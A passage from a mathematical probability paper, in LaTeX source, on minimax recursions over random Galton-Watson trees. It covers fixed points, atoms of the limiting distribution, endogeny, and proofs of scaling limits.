to an unstable fixed point.
\begin{figure}[h]
\begin{center}
\includegraphics[width=0.32\textwidth]{{ternary0-45}.pdf}
\includegraphics[width=0.32\textwidth]{{ternary0-5}.pdf}
\includegraphics[width=0.32\textwidth]{{ternary0-55}.pdf}
\includegraphics[width=0.32\textwidth]{{ternary0-598}.pdf}
\includegraphics[width=0.32\textwidth]{{ternary0-7}.pdf}
\end{center}
\caption{
\label{figure:ternary}
The function $f(x)-x$ for $x\in[0,1]$ for the family of distributions with $p_1=p$ and $p_3=1-p$, with (a) $p=0.45$, (b) $p=0.5$, (c) $p=0.55$, (d) $p=0.598$, and (e) $p=0.7$.}
\end{figure}
When $p<0.5$, the points 0 and 1 are stable and there
is a unique unstable fixed point in $(0,1)$, just as in the case of a regular tree; $W_{2n}$ converges to a constant. At $p=0.5$, we have $f'(0)=f'(1)=1$; the slope of $f'(x)-x$ at 0 and 1 is 0, but the points are still stable. For $p>0.5$, the points 0 and 1 are unstable, and the limiting distribution $W$ in Theorem \ref{thm:unscaled} puts positive mass at 0 and 1. At first, there is also positive mass at another fixed point in $(0,1)$. However above a critical point at roughly $p=0.598$, two of the fixed points disappear, leaving only a stable fixed point in $(0,1)$, and the limiting distribution is concentrated only on the points 0 and 1.
Some further illustrative examples are shown in Figure
\ref{figure:critical}.
\begin{figure}[h]
\begin{center}
\includegraphics[width=0.32\textwidth]{{pmu1increasing}.pdf}
\includegraphics[width=0.32\textwidth]{{1and30discts-p-0-783}.pdf}
\includegraphics[width=0.32\textwidth]{{2and12critical}.pdf}
\end{center}
\caption{
\label{figure:critical}
The function $f(x)-x$ for $x\in[0,1]$ in three
further cases:
(a) $p_1=0.5$, $p_2=0.25$, $p_4=0.25$;
(b) $p_2=0.783$, $p_{30}=0.217$, and
(c) $p_2=0.705$ and $p_{12}=0.295$.
}
\end{figure}
For these distributions (the second and third are only approximate),
we see points $q\in Q$ with $f'(q)=1$, and so the rescalings
of Theorem \ref{thm:rescaled}(b), which are polynomial
rather than exponential, apply.
In Figure \ref{figure:critical}(a) the relevant fixed points
are at $0$ and $1$, and in Figure
\ref{figure:critical}(a),
they appear as ``touchpoints" in the graph of $f(x)-x$ and so are unstable from one side only;
in these cases only one of the points $a$ and $-a$ in Theorem
\ref{thm:rescaled}(b)
receives positive mass.
By contrast,
in Figure \ref{figure:critical}(c), the point of inflection gives a fixed point which is unstable on both sides.
In passing, we mention briefly another interesting
aspect of some of the above examples, concerning
phase transitions. As we vary the offspring distribution,
we see points where, for example, the number of atoms
of the limiting distribution $W$ changes. Often,
the transition can be \textit{continuous}: as the offspring distribution is varied,
an existing atom may split into several new atoms
(as may happen when a point of inflection occurs as
in Figure \ref{figure:ternary}(d) or Figure \ref{figure:critical}(c)), or new atoms may appear whose
weight grows continously from $0$ (such as happens at the points $0$ and $1$ in Figure \ref{figure:ternary}(b)).
On the other hand, we can also see \textit{discontinuous}
transitions in cases such as Figure \ref{figure:critical}(b);
one can perturb the offspring distribution in an arbitrarily small way to remove the ``touchpoints" seen there, so that
the atoms of $W$ inside $(0,1)$ disappear and all there mass jumps to the endpoints $0$ and $1$. Such ideas, expressed
only vaguely here, are studied in a closely related context in \cite{HolroydMartin}.
\subsection{Atoms at endpoints}\label{subsec:endpoints}
The limiting distribution $W$ in Theorem \ref{thm:unscaled} may have atoms at 0 and 1. We note the following simple criterion:
\begin{proposition}
\label{proposition:0atom}
Let $\mu$ be the mean of the offspring distribution.
\begin{itemize}
\item[(i)]If $p_1\mu<1$ then $\P(W=0)=\P(W=1)=0$.
\item[(ii)]If $p_1\mu>1$ (including the case
$p_1>0$ and $\mu=\infty$) then $\P(W=0)>0$ and $\P(W=1)>0$.
\end{itemize}
\end{proposition}
If $p_1\mu=1$, or if $p_1=0$ and $\mu=\infty$,
either case is possible.
The proof of the result is straightforward. Since $f=R\circ R$
we have $f'(x)=R'(R(x))R'(x)$. Then since $R(0)=1$ and $R(1)=0$,
and since $R'=-G'$, we have $f'(0)=f'(1)=G'(0)G'(1)=\mu p_1$
(assuming $\mu<\infty$); and we know that a fixed point $q$ of $f$
is an atom of $W$ if $f'(q)>1$, and not if $f'(q)<1$.
There is a rather direct interpretation of the condition
$p_1\mu>1$ in terms of the Galton-Watson tree and the play
of the game. Consider the set of paths in the tree,
starting at the root, with the following property:
every vertex along the path at an odd level has only one child.
The union of these paths gives a subtree containing
the root. For a vertex at an even level
(such as the root), the expected number of
grandchildren in the subtree is $p_1\mu$,
since the vertex itself has an average of $\mu$
children, and each of those has precisely one child
with probability $p_1$. Considering
only even levels, this then gives a branching
process with mean offspring $p_1\mu$;
if $p_1\mu>1$, then this branching process is supercritical
and survives for ever with positive probability.
In that case, by keeping the game within this tree,
the first player can ensure that
the second player never has any choice at all;
all the second player's moves are forced.
For the game truncated at level $2n$,
the first player can choose between
all the nodes at level $2n$ which are within the
subtree; from this it can be shown that
$\P(W=0)$ is at least as big as the probability
that this branching process survives.
\subsection{The case \texorpdfstring{$f(x) \equiv x$}{f(x) equivalent to x}, and related open questions}
\label{subsec:comments_identity}
Suppose the offspring distribution is such
that $f$ is the identity function.
Then from (\ref{quantilerecursion}),
if we put independent values at the leaves
from any given distribution, then the value
at the root has that same distribution
(hence the statement in Theorem \ref{thm:unscaled}(a)).
Perhaps surprisingly, this property is not restricted
to the trivial case where $p_1=1$.
Here are some families of examples
where $f=R\circ R=(1-G)\circ(1-G)$ is the identity
(i.e.\ $R$ is an \textit{involution}):
\begin{itemize}
\item[(a)]
Any geometric distribution. If $p_k=p(1-p)^{k-1}$
for $p\in(0,1)$, then $G(x)=\frac{p}{1-(1-p)x}$ and so
$R(x)=\frac{1-x}{1-(1-p)x}$, and one can check
$f(x)=x$.
\item[(b)]
Let $G(x)=\left[1-(1-x)^{1/n}\right]^n$,
for $n=1,2,3,\dots$. Via a binomial expansion,
one can express $G$ has a power series expansion
with non-negative coefficients, and $G(1)=1$,
so $G$ is indeed a probability generating function.
The coefficient of $x^k$ is non-zero for $k\geq n$.
\item[(c)]
Let $G(x)=1-\left(1-x^n\right)^{1/n}$, for $n=1,2,3,\dots$.
Again $G$ has a power series expansion with non-negative
coefficients summing to 1. The coefficient of $x^k$
is non-zero when $k$ is a multiple of $n$.
\end{itemize}
These are far from the only cases. For a general source of examples, consider function $S(x,y)$ from $[0,1]^2$ to $[0,1]$ which is
symmetric, increasing in each coordinate, and has $S(1,0)=S(0,1)=0$. If we define a function $R$ by setting $S(x,y)=0$ and writing $y=R(x)$, then $R$ is indeed an involution. Some such functions $R$ have power series expansions, and in some of those cases $G=1-R$ has all
coefficients positive, as needed for a probability
generating function. For example, $S(x,y)=y^2+y+x^2+x-2=0$ gives $R(x)=[\sqrt{9-4x-4x^2}-1]/2$, in which case
one can obtain straightforwardly that $G=1-R$ is a generating function.
We note several questions that it might be interesting
to understand further:
\begin{itemize}
\item[(1)]
Can one describe in some nice way the
class of all distributions for which $f$ is the identity?
For the class of examples described in the previous paragraph,
can one describe nicely which functions $S(x,y)$ lead
to functions $R$ which have power series expansions, and
then which of those yield a generating function $G$?
\item[(2)]
Are the geometric distributions in example (a) above
the only such distributions with finite mean?
More generally, what types of tail decay are possible?
For (a), the tail $\sum_{r=k}^\infty p_r$ of course decays exponentially in $k$,
while for (b) and (c) it decays as $k^{-1/n}$.
\item[(3)]
Are there direct probabilistic arguments explaining the
fact that $f$ becomes the identity in these cases, in terms of the underlying process on the tree?
One case where it's possible to make such an argument is the $n=2$ case in (b) above. Here $p_k$
is the probability that the cluster containing the origin
has size $k$ for critical percolation on the binary tree (these coefficients are closely related to the Catalan numbers).
Having made this identification, one can connect the
minimax recursion on our random tree to an analogous
recursion in the model studied by Pemantle and Ward \cite{Pemantle},
of a binary tree in which each node independently is a max or a a min with probability $1/2$ each.
\end{itemize}
We end this section with two further open questions
about the form of $f$ in more general cases:
\begin{itemize}
\item[(4)]
Can $f$ have an arbitrarily large number of fixed points in $[0,1]$?
\item[(5)]
Can $f$ have infinitely many fixed points in $[0,1]$ (without being equal to the identity)? Since $f$ is analytic on $(0,1)$,
this would require the set of fixed points to accumulate
at $0$ and at $1$.
\end{itemize}
\section{Endogeny}
\label{sec:endogeny}
Suppose we play the game on a tree where the depth $2n$ is large,
so that the boundary values are far from the root.
To be confident of making a good first move, do we need to see
a large part of the structure of the tree, and the boundary values? -- or can we play close to optimally by inspecting
just the structure of the first few levels of the tree?
This is a so-called \textit{endogeny} question \cite{AldBan}.
The answer to this question again depends
on the offspring distribution and
the distribution of the boundary values.
To formalise the question,
first define an operator on distributions
corresponding to the recursion given by
(\ref{eq:rde}). For a distribution $\mu$
on $[0,1]$, let $T(\mu)$ be the distribution
of the left-hand side of (\ref{eq:rde})
when the random variables $W_{2n-n}^{(i,j)}$
on the right-hand side are i.i.d.\ with
distribution $\mu$. Equivalently,
rewriting (\ref{quantilerecursion}),
$T(\mu)[0,y]=f(\mu[0,y])$ for all $y$.
We will be interested in fixed points of $T$.
For example, for offspring distributions such that
$f$ is the identity, \textit{every} $\mu$ is a fixed point of $T$.
For more general offspring distributions,
whenever $x$ is a fixed point of $f$, the Bernoulli distribution
which puts mass $x$ at $0$ and $1-x$ at $1$ is a fixed point of
$\mu$; for a game with Bernoulli terminal values, there are only
two possible values of the outcome and we can interpret $0$
as a win and $1$ as a loss (from the perspective of the first player).
Suppose indeed that $\mu$ is a fixed point of the operator $T$.
Consider a tree of depth $2n$
(given by the Galton-Watson tree truncated at level $2n$)
with the terminal values drawn independently from $\mu$.
Then the distribution of the value at the root is also $\mu$.
More generally, consider the structure of the first $k$ levels
of the tree;
the distribution of these first $k$ levels is the same
for any $n$ (such that $k\leq 2n$).
As a consequence of this \textit{consistency}
over different values of $n$, we may let $n\to\infty$
and, applying Kolmogorov's extension theorem, obtain
a distribution of the entire infinite Galton-Watson tree
along with values attached to each node which
obey the minimax recursions (min at even levels,
max at odd levels).
This gives a \textit{stationary recursive tree process}
in the language of \cite{AldBan}. The relevant stationarity
property is the following: condition on the structure of
the first two levels of the tree, and write
$v_1, \dots, v_r$ for the level-$2$ nodes.
Conditional on the structure of the first two levels,
the structure of the subtrees rooted at $v_1, \dots, v_r$,
along with the values associated to the nodes of those
subtrees, are given by $r$ i.i.d.\ copies of the original tree process.
(More precisely, we might describe the tree process as ``2-periodic"
rather than stationary, since even and odd levels differ; we
can recover a genuinely stationary process by considering only even levels.)
For a more formal and more general set-up, see for
example \cite{AldBan} or \cite{MachSturmSwart}.
We have defined a joint distribution of the structure
of the tree and the values associated to each node of the tree.
Now the recursive tree process is said to be \textit{endogenous} if the value associated to the root
is measurable with respect to the structure of the tree.
Note that for the same offspring distribution,
this endogeny property may hold for some
fixed point distributions $\mu$ and not for others.
Being measurable with respect to the structure of the
tree is equivalent to being approximable to any
given degree of accuracy using the information only of
some finite portion of the tree. That is,
for any random variable $X$ (in particular, the root value),
$X$ is measurable with respect to the structure of the tree if,
for any $x$ and any $\epsilon>0$,
there exists $k$ such that with probability $1-\epsilon$,
the conditional probability of the event $\{X\leq x\}$,
given the structure of the first $k$ levels of the tree
is in $[0,\epsilon]\cup[1-\epsilon,1]$, where $X$ denotes
the value at the root.
For a more concrete interpretation, we can concentrate
only on the case of finite trees, truncated at some level
$2n$. Then the property in the previous paragraph can be
reformulated to say that the value at the root can be
approximated arbitrarily closely using information
from the structure of some appropriate number of levels
at the top of the tree, \textit{uniformly} in the value of $n$.
Note that endogeny does \textit{not} indicate that
the value at the root is insensitive to arbitrary changes
in the boundary conditions. In our case, that would
be trivially false. Rather, for a given distribution
of boundary conditions, endogeny expresses the property
that, if the boundary is far away, the root is typically not much affected by the difference between various
realisations drawn from that distribution. In particular,
endogeny may hold for some boundary distributions and
not for others, as is indeed the case for our model.
Consider in particular the Bernoulli (``win/loss") boundary
conditions described above.
\begin{theorem}\label{thm:endogeny}
Let $x\in(0,1)$ be a fixed point of $f$,
and consider the stationary recursive tree process
with Bernoulli($1-x$) marginals for the values at even levels.
The process is endogenous if and only if $f'(x)\leq 1$.
\end{theorem}
So, approximately speaking, the endogenous processes with Bernoulli
marginals correspond to the \textit{stable}
fixed points of the function $f$,
which are those fixed points which do \textit{not}
appear as atoms in the distribution of the limiting
random variable $W$ in Theorem \ref{thm:unscaled}.
(An exception may occur when the derivative of $f$ at a fixed point is precisely 1; further, in the cases $x=0$ and $x=1$ the values are constant and the process is trivially endogenous.)
To prove Theorem \ref{thm:endogeny}, we use
a characterisation of endogeny in terms of
uniqueness of bivariate distributions,
introduced by Aldous and Bandyopadhyay in \cite{AldBan} and proved in somewhat more generality by Mach, Sturm and Swart \cite{MachSturmSwart}.
See Section \ref{sec:endogeny_proof} for details.
For offspring distributions where $f$ is the identity,
any distribution $\mu$ gives rise to a recursive tree process.
In particular, we can take $\mu$ to be the uniform distribution
on $[0,1]$, as we did in previous sections.
We have the following corollary of Theorem \ref{thm:endogeny}:
\begin{corollary}\label{cor:endogeny}
Suppose $f$ is the identity. Then for any $\mu$, the recursive tree process with marginals $\mu$ for the values at even levels
is endogenous.
\end{corollary}
\section{Proofs: convergence and scaling limits}
\label{sec:distribution_proofs}
First, we show how (\ref{quantilerecursion})
follows from
the recursive distributional equation (\ref{eq:rde}). As at (\ref{eq:rde}),
let $M$ and $M_1, M_2, M_3$ be i.i.d.\ draws
from the offspring distribution, and $W_{2n-2}^{(i,j)}$
i.i.d.\ copies of the random variable $W_{2n-2}$,
independent of $M$ and $\{M_i, i\geq 1\}$.
Note that for any given $i$,
\begin{align}
\nonumber
\P\left(
\max_{1\leq j\leq M_i} W_{2n-2}^{(i,j)}>x
\right)
&=1-\P\left(W_{2n-2}^{(i,j)}\leq x
\text{ for } j=1,\dots,M_i\right)\\
\nonumber
&=1-\sum_m p_m\P\left(W_{2n-2}\leq x\right)^m\\
&=R\big(\P(W_{2n-2}\leq x)\big).
\label{onestep}
\end{align}
So from (\ref{eq:rde}) we have
\begin{align}
\P\left(W_{2n}\leq x\right)
&=\P\left(
\min_{1\leq i\leq M}
\max_{1\leq j\leq M_i}
W^{(i,j)}_{2n-2}\leq x
\right)
\nonumber
\\
&=1-\P\left(
\max_{1\leq j\leq M_i}
W^{(i,j)}_{2n-2}
>x \text{ for all }j=1,\dots, M_i
\right)
\nonumber
\\
&=1-\sum_m p_m\left[R\left(\P\left(W_{2n-2}\leq x\right)\right)\right]^m
\nonumber
\\
&=R\big(R\big(\P(W_{2n-2}\leq x)\big)\big)
\nonumber
\\
\nonumber
&=f\big(\P(W_{2n-2}\leq x)\big),
\end{align}
giving (\ref{quantilerecursion}) as desired.
\begin{proof}[Proof of Theorem \ref{thm:unscaled}]
From the previous line and the monotonicity of $f$ we see that $\lim_{n\to\infty} \P(W_{2n} \leq x)=\lim_{n\to\infty} f^n(x)$ exists for all $x$, and therefore $W_{2n}$ indeed converges in distribution as $n \to \infty$, to a limit $W$ with the distribution function $F_W(x)=\lim_{n\to\infty} f^n(x)$.
Part (a) is immediate from (\ref{quantilerecursion}).
For part (b), note that since $f$ is analytic in $(0,1)$ and $f$ is not the identity function, the set of fixed points of $f$
cannot have an accumulation point in $(0,1)$.
Therefore, this set of fixed points of $f$ defines a partition of the interval $(0,1)$ into a disjoint union of open intervals plus the set of fixed points, each of which is an endpoint of exactly two intervals from the partition.
Since $f$ is monotone and continuous,
$F_W(x) = \lim_{n \to \infty} f^n (x)$ is constant on those intervals; therefore $W$ can have atoms only at fixed points of $f$.
Suppose $q\in(0,1)$ is such a fixed point. Then
\begin{align}
\nonumber
\P(W=x)
&=
\lim_{\epsilon\to 0}
\P(q-\epsilon<W\leq x+\epsilon)\\
&=\lim_{\epsilon\to 0}\lim_{n\to\infty}f^n(q+\epsilon) - \lim_{\epsilon\to 0} \lim_{n\to\infty}f^n(q-\epsilon).
\label{eq:PW}
\end{align}
Since $f$ is monotone and continuous, the quantity above
is equal to 0 precisely if and only if the fixed point $q$ is stable.
Hence indeed $W$ has an atom at $q$ precisely if $q$
is unstable from at least one side.
As commented immediately after Theorem \ref{thm:unscaled},
the right-hand side of (\ref{eq:PW}) is equal to
$q_+-q_-$, as required.
The cases where $q=0$ or $q=1$ follow in a similar way.
\end{proof}
The rest of this section is devoted to the proof of Theorem
\ref{prof:prop_main}.
\subsection{Proof of Theorem
\ref{prof:prop_main}(\ref{thm:main_greater_t_1}): \texorpdfstring{$ 1 < f'(q) < \infty$}{1 < f'(q) < infinity}}
\label{subsec:scaling_proof}
Firstly we assume that $q$ is the unique fixed point of $f$ in $(0,1)$ and that it is unstable from both sides. In the second part of the proof we show how Lemma \ref{lm:khan_extension} below implies the general case.
Suppose $\xi = f'(q) > 1$. An example of this case is in Figure
\ref{figure:ternary}(a), where $p_1=0.45$ and $p_3=0.55$.
We will prove the following result:
\begin{lemma}
Consider the recursion (\ref{quantilerecursion}) and assume that $q$ is the unique fixed point of $f$ in $(0,1)$ and that it is unstable from both sides. Set $\xi = f'(q)$. If $\xi > 1$, then
\begin{align*}
\xi^n(W_{2n} - q) \xrightarrow[]{d} V \textrm{ as } n \rightarrow \infty,
\end{align*}
where the distribution function $F_V$ of $V$ is continuous and satisfies
\begin{align*}
F_V(x) = f(F_V(x/\xi)), \quad x \in {\mathbb R}.
\end{align*}
\label{lm:khan_extension}
\end{lemma}
Lemma \ref{lm:khan_extension} extends the result of Ali Khan, Devroye and Neininger \cite{ADN} to the case of random trees. Note that Lemma \ref{lm:khan_extension} corresponds directly to the part (\ref{thm:main_greater_t_1}) of Theorem \ref{prof:prop_main} for $f$ having a unique fixed point in $(0,1)$ which is unstable, as then $q_- = 0$ and $q_+ = 1$.
\begin{proof}[Proof of Lemma \ref{lm:khan_extension}]
We follow the lines of \cite{ADN} but in our case the analysis is slightly more complicated because of the more general form that $f$ can admit. We first prove that there exists a pointwise limit of distribution functions of $\xi^n(W_{2n} - q)$, which is not identical to $0$ or $1$, and then show that it is continuous, which completes the proof. Define
\begin{align*}
g_n(x) = \P \left(\xi^n(W_{2n} - q) \leq x \right), \quad x \in {\mathbb R}
\end{align*}
Therefore, for each $x$ for sufficiently large $n$ (such that $0 \leq q + \frac{x}{\xi^n} \leq 1$),
\begin{align*}
g_n(x) = \P \left(W_{2n} \leq q + \frac{x}{\xi^n} \right)= f^n \left(q + \frac{x}{\xi^n} \right).
\end{align*}
Note that $g_n(0) = q $ for all $n$. We need some local uniform bound for $g_n$ around $x = 0$. This will be supplied by the following lemma:
\begin{lemma}
Under the assumptions of Lemma \ref{lm:khan_extension}, let $k$ be the smallest number larger than $1$ such that $f^{(k)}(q) \neq 0$. Denote $h_1(x) = q + x$ and $h_2(x) = q + x + cx^k$ for $x \in {\mathbb R}$. Then there exist $c$ and an $\varepsilon > 0$ such that for all $n$ and $|x| \leq \varepsilon$, either $h_1(x) \leq g_n(x) \leq h_2(x)$ or $h_2 (x) \leq g_n(x) \leq h_1(x)$.
\label{lm:bound_on_g}
\end{lemma}
Note that such a number $k$ exists since we assumed that $f$ is not the identity function and $f$ is analytic at $q$.
\begin{proof}[Proof of Lemma \ref{lm:bound_on_g}]
Take any $c$ such that $c$ has the same sign as $f^{(k)}(q)$ and $|c| > \left|\frac{f^{(k)}(q)}{k! \xi (\xi^{k-1}-1)} \right|$. From analyticity of $f$, $f^{(k)}(x)$ does not change the sign on some neighbourhood of $q$.
For simplicity assume that $k$ is even and $f^{(k)}(q) > 0$. We would generally need to consider four cases depending on the parity of $k$ and the sign of $f^{(k)}(q)$. For the other three cases the steps of the proof of the lemma are identical modulo the change of sign in the inequalities.
The proof is by induction on $n$ and makes use of Taylor's formula up to order $k$. For $n=0$ the assertion is true, as we have
\begin{align*}
h_1(x) = q + x = g_0(x) \leq h_2(x).
\end{align*}
Note that the above holds for all $\varepsilon$, thus we will chose $\varepsilon$ later. Assume now that
\begin{align*}
h_1(x) \leq g_{n-1}(x) \leq h_2(x)
\end{align*}
for some $n-1 \geq 0$, $|x| \leq \varepsilon$ and $\varepsilon > 0$. Since $\left| \frac{x}{\xi} \right| \leq \varepsilon$, as $|x| \leq \varepsilon$ and $\xi > 1$, and $f$ is increasing, we have
\begin{align*}
g_n(x) = f^n \left(q + \frac{x}{\xi^n} \right) = f \left(f^{n-1} \left(q + \frac{x/\xi}{\xi^{n-1}} \right)\right)= f \left(g_{n-1}\left(x/\xi \right)\right)\geq f \left(h_1 \left(x/\xi \right)\right),
\end{align*}
and analogously
\begin{align*}
g_n(x) \leq f \left(h_2 \left(x/\xi \right)\right).
\end{align*}
The induction proof will be completed if we can show that for some $\varepsilon > 0$, for $|x| \leq \varepsilon$,
\begin{align}
h_1(x) \leq f \left(h_1 \left(x/\xi \right)\right), \quad f \left(h_2 \left(x/\xi \right)\right)\leq h_2(x).
\label{eq:h_less_f_of_h}
\end{align}
Taking the Taylor expansion of $f$ around $q$ at points $q + x/\xi$ and $q + x/\xi + c \left(x/\xi\right)^k$, we obtain
\begin{align*}
f(h_1(x/\xi)) = {} & q + x +\frac{1}{k!} \frac{1}{\xi^k} \left( f^{(k)}(q) \right)x^k + o(x^{k}),\\
f(h_2(x/\xi)) = {} & q + x +\frac{1}{k!} \frac{1}{\xi^k} \left( f^{(k)}(q) + \xi k! c\right)x^k + o(x^{k}).
\end{align*}
Since
\begin{align*}
0 < \frac{1}{k!} \frac{1}{\xi^k} \left( f^{(k)}(q) + \xi k! c\right) = \frac{f^{(k)}(q)}{k!\xi(\xi^{k-1}-1)} \frac{\xi^{k-1}-1}{\xi^{k-1}} + c\frac{1}{\xi^{k-1}} < c
\end{align*}
and by assumption $f^{(k)}(q) > 0$, we are therefore able to pick $\varepsilon > 0$ such that (\ref{eq:h_less_f_of_h}) holds for $|x| \leq \varepsilon$. This ends the proof of Lemma \ref{lm:bound_on_g}.
\end{proof}
Note that if we show that for some $g$, $g_n(x) \rightarrow g(x)$ for all $x$, then the above lemma will imply that $g(x)$ is continuous and differentiable at $x=0$ with $g'(0)=1$. We now claim that for each $x$, $(g_n(x))$ is a monotone sequence for $n > n_x$. This is implied by the following lemma:
\begin{lemma}
Under the assumptions of Lemma \ref{lm:khan_extension}, for each $M$ there exists $n_M$ such that for $|x| \leq M$, $(g_n(x))$ is a monotone sequence for $n \geq n_M$.
\label{lm:monotonicity_g_n}
\end{lemma}
\begin{proof}[Proof of Lemma \ref{lm:monotonicity_g_n}]
As in the proof of Lemma \ref{lm:bound_on_g}, we consider the case where $k$ is even and $f^{(k)}(q) > 0$ -- the other cases are identical.
Using Taylor expansion up to order $k$, there exists $\varepsilon > 0$ such that for $|y| \leq \varepsilon $,
\begin{align}
f\left(q + y\right) \geq f(q) + f'(q)y
\label{eq:taylor_bound}
\end{align}
(recall that $f^{(i)}(q) = 0$ for $1 < i < k$). Now let $n_M = \lceil \log_{\xi}\left(\frac{M}{\varepsilon}\right)\rceil$ and note that for any $|x| \leq M$ and $n \geq n_M$, $|x/\xi^n| < \varepsilon$ and therefore by (\ref{eq:taylor_bound}),
\begin{align*}
f \left(q+\frac{x}{\xi^n} \right) \geq f(q) + f'(q)\frac{x}{\xi^{n}} = q + \frac{x}{\xi^{n-1}}.
\end{align*}
Finally, since $f^{n-1}$ is monotone increasing,
\begin{align*}
g_n(x) = f^n \left(q + \frac{x}{\xi^n} \right) = f^{n-1}\left(f\left(q+\frac{x}{\xi^n}\right)\right) \geq f^{n-1}\left(q+\frac{x}{\xi^{n-1}}\right) = g_{n-1}(x).
\end{align*}
This proves the claim.
\end{proof}
Since $g_n(x) \leq 1$, by Lemma \ref{lm:monotonicity_g_n} $g_n(x)$ converges for all $x$ -- we denote the limit by $g(x)$. The continuity of $f$ and the fact that $g_n(x) = f(g_{n-1}(x/\xi))$ imply that
\begin{align}
g(x)=f(g(x/\xi)).
\label{eq:identity}
\end{align}
Therefore, from the continuity of $f$ and the monotonicity of $g$, $\lim_{x \to -\infty} g(x)$ and $\lim_{x \to \infty}g(x)$ are fixed points of $f$. Using the fact that $\{0,q,1\}$ are the only fixed points of $f$, $g$ is non-decreasing, $g(0) = q$ and $g'(0) = 1$, we deduce that $\lim_{x \to -\infty} g(x) = 0$ and $\lim_{x \to \infty}g(x) = 1$. When we show that $g$ is continuous at all $x$, it will then imply that $F_V = g$.
We apply the following strategy to show that $g$ is continuous: we showed that $g(x)$ is continuous at $0$ and now we show separately that it is continuous on some $(-\varepsilon, 0)$ and on some $(0, \varepsilon)$.
The identity (\ref{eq:identity}), together with the continuity
of $f$, then implies that $g$ is continuous on all of ${\mathbb R}$
(since $\xi>1$).
We still work under the assumption that $f^{(k)}(q) > 0$, where $k\geq 2$ is such that
$f^{(r)}(q)=0$ for $1<r<k$ and $f^{(k)}(q)\ne 0$, and that $k$ is even (if $k$ is odd then reasoning in the two cases below should be swapped). Note that to prove that $g$ is continuous on some interval $I$, it is sufficient to show that
\begin{align}
\sup_{y \in I} \sup_{n \geq 0} g_n'(y) < \infty.
\label{eq:sup_derivative}
\end{align}
By the chain rule we obtain
\begin{align}
g_{n}'(x) = \frac{1}{\xi^n} \prod_{i=0}^{n-1} f'\left(f^i \left(q + \frac{x}{\xi^n}\right)\right).
\label{eq:chain_rule}
\end{align}
We consider first $g_n'(y)$ for $y < 0$. Since $f^{(k)}(q) > 0$, there exists an $\varepsilon>0$ such that $f'(q+y) < \xi$ for $y \in (-\varepsilon,0)$. Since $f(q) = q$ and $\xi > 1$, this implies that for $i < n$
\begin{align*}
q > f^i \left(q + \frac{y}{\xi^n}\right) > q + \xi^i \frac{y}{\xi^n} > q - \varepsilon,
\end{align*}
hence $f'\left(f^i \left(q + \frac{y}{\xi^n}\right)\right) < \xi$. By (\ref{eq:chain_rule}) we conclude that $g_n'(y) < 1$ for all $n$ and $y \in (-\varepsilon, 0)$. This implies that (\ref{eq:sup_derivative}) holds with $I = (-\varepsilon,0)$, hence $g$ is continuous on $(-\varepsilon, 0)$.
Now we turn to the case of $y>0$.
The function $f$ is non-decreasing, and
$\xi > 1$; hence for all $0 < i < n$ and all $0 \leq y \leq x$,
\begin{align}
q \leq f^i\left(q + \frac{y}{\xi^n}\right) \leq f^i\left(q + \frac{x}{\xi^n}\right).
\label{eq:case_y_geq_0_1}
\end{align}
Note also that
\begin{align}
f^i\left(q + \frac{x}{\xi^n}\right) \leq f^i\left(q + \frac{x}{\xi^i}\right) = g_i(x).
\label{eq:case_y_geq_0_2}
\end{align}
Now by the assumption $f^{(k)} > 0$ there exists an $\varepsilon > 0$ such that $f'(q+x)$ is strictly increasing for $x \in (0, \varepsilon)$. By the continuity of $g$ at $0$, there exists $\gamma > 0$ such that $g(x) < q + \varepsilon$ for $x \in (0, \gamma)$. By Lemma \ref{lm:monotonicity_g_n}, there exists $n_\gamma$ such that for $0 < x \leq \gamma$, $(g_i(x))$ is a monotone sequence (an increasing one, since we assume $f^{(k)}(q) > 0$) for $i > n_\gamma$.
Therefore, for $i \geq n_\gamma$, and for $0 < x < \gamma$,
\begin{align}
g_i(x) \leq g(x) < q + \varepsilon.
\label{eq:case_y_geq_0_3}
\end{align}
On the other hand, for $i < n_\gamma \wedge n$, since $f(q+x) > q + x$ for $x \in (0, 1-q)$,
\begin{align}
f^i\left(q + \frac{x}{\xi^n}\right) \leq f^{n_\gamma}\left(q + \frac{x}{\xi^n}\right) \leq f^{n_\gamma} \left(q + x\right).
\label{eq:case_y_geq_0_4}
\end{align}
$f^{n_\gamma}$ is continuous and non-decreasing, hence we may pick $\tilde \gamma > 0$ such that for $0 < x < \tilde \gamma$,
\begin{align}
f^{n_\gamma} (q + x)< q + \varepsilon.
\label{eq:case_y_geq_0_5}
\end{align}
Finally, combining (\ref{eq:case_y_geq_0_1}) -- (\ref{eq:case_y_geq_0_5}), we obtain that for all $0 < i < n$ and for all $0 \leq y \leq x \leq \gamma \wedge \tilde \gamma$,
\begin{align}
q \leq f^i\left(q + \frac{y}{\xi^n}\right) \leq f^i\left(q + \frac{x}{\xi^n}\right) \leq q + \varepsilon.
\label{eq:case_y_geq_0_final_bound}
\end{align}
Recall that $\varepsilon$ was chosen to be such that $f'$ is strictly increasing on $(q, q+\varepsilon)$. Combining this with (\ref{eq:chain_rule}) and (\ref{eq:case_y_geq_0_final_bound}) we obtain that
\begin{align}
g_n'(y) \leq g_n'(x).
\label{eq:g_n_prim_selfbound}
\end{align}
We are now going to use (\ref{eq:g_n_prim_selfbound}) to show that (\ref{eq:sup_derivative}) holds for all for $I = (0, \varepsilon)$ with $ \varepsilon = \frac{1}{2} (\gamma \wedge \tilde \gamma)$. For each $z \in ( \varepsilon, 2\varepsilon)$ and all $n \geq 0$, by (\ref{eq:g_n_prim_selfbound}) we have
\begin{align*}
\sup_{y \in (0,\varepsilon)} g_{n}'(y) \leq g_n'(z).
\end{align*}
Therefore,
\begin{align*}
\sup_{n \geq 0}\sup_{y \in (0,\varepsilon)} g_n'(y) {} & \leq \sup_{n \geq 0} \frac{1}{\varepsilon} \int_{\varepsilon}^{2\varepsilon} g_n'(z)\textrm{d}z \\
{} & \leq \sup_{n \geq 0}\frac{1}{\varepsilon} (g_n(2\varepsilon) - g_n(\varepsilon) \\
{} & \leq \frac{1}{\varepsilon},
\end{align*}
where the last inequality follows since each $g_n$ is a distribution function. This proves that $g(y)$ is continuous on $(0, \varepsilon)$. This completes the proof of Lemma \ref{lm:khan_extension}.
\end{proof}
\subsubsection*{Multiple atoms}
